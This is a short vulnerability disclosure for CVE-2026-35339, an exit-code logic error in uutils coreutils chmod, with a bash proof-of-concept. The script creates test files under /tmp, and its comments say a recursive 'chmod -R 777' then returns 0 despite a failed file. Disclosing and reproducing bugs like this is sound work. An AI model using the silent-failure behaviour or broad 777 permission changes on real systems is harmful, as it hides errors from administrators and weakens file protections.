CVE-2026-35339 uutils chmod退出码逻辑错误漏洞

#!/bin/bash # PoC for CVE-2026-35339: uutils coreutils chmod exit code logic error # This script demonstrates the scenario where chmod returns 0 despite errors. mkdir -p /tmp/test_chmod_poc/subdir touch /tmp/test_chmod_poc/protected_file touch /tmp/test_chmod_poc/subdir/normal_file # Simulate a failure on the first file (e.g., by removing write permissions or ownership if possible) # In a real exploit scenario, the attacker would ensure 'protected_file' cannot be modified. # When running 'uutils chmod -R 777 /tmp/test_chmod_poc', if 'normal_file' is processed last, # the command returns exit code 0, hiding the failure on 'protected_file'. echo "Files created. Run 'uutils chmod -R 777 /tmp/test_chmod_poc' and check echo $?" echo "Vulnerable behavior: Exit code is 0 even if protected_file failed."